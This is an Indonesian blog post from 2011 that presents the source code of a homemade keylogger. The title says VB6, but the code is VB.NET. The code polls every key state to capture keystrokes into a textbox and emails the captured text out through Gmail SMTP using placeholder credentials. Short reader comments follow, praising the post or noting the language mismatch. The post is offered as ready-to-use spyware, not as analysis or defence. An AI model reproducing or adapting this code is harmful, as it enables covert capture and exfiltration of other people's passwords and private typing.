Minggu, 16 Oktober 2011

Membuat Script Keylogger Buatan Sendiri dengan Vb6


Keylogger Send to Email Created By dzoee 
' Plase
'
'
Imports System.Web
Imports System.IOImports System.Net.Mail
Public Class Form1
    Dim result As Integer
    Private Declare Function getasynckeystate Lib "user32" (ByVal vkey As Long) As Integer
    Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged

    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i = 1 To 255
            result = 0
            result = getasynckeystate(i)
            If result = -32767 Then
                TextBox1.Text = TextBox1.Text + Chr(i)
            End If
        Next i
    End Sub

    Private Sub Button1_click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1_click
        Dim mail As New MailMessage()
        Dim smtpserver As New SmtpClient
        smtpserver.Credentials = New Net.NetworkCredential("emailkamu@Domainkamu.com", "passemailmu")
        smtpserver.Port = 587
        smtpserver.Host = "smtp.gmail.com"
        smtpserver.EnableSsl = True
        smtpserver.EnableSsl = True
        mail.To.Add("eemailkamu@Domainkamu.com") 'edinofrikarizal@gmail.com bisa di ganti sesuai Email kamu
        mail.From = New MailAddress("emailkamu@Domainkamu.com")
        mail.Subject = "Judul hasil Pelaksanaan" 'Ini hasil kita bisa di ganti . ini menunjukkan Email subject yang akan dikirimkan
        mail.body = TextBox1.Text
        smtpserver.Send(mail)
    End Sub
End Class

3 komentar:

Software House Production mengatakan...

Lah, inikan bahasa VB.Net masbro

xbacktrack mengatakan...

mantap kang...

Hendra Koleksi mengatakan...

Walaupun ini masih belum full/masih membutuhkan beberapa source code/syntax tambahan lagi tapi ini sudah cukup banyak membantu sebagai tambahan referensi saya.
Dan sebagai imbal baliknya, saya hanya bisa ucapkan banyak terimakasih atas tutorialnya dan iklan yang Anda pasang akan Saya klik karena hanya ini yang bisa saya lakukan sebagai ucapan terimakasih saya,,
Maju terus blog ini,, dan salam kenal,,

Posting Komentar

Silahkan beri komentar dengan bijak dan jangan sampai komentar anda masuk dalam {COMMENTS SPAM}. Thanks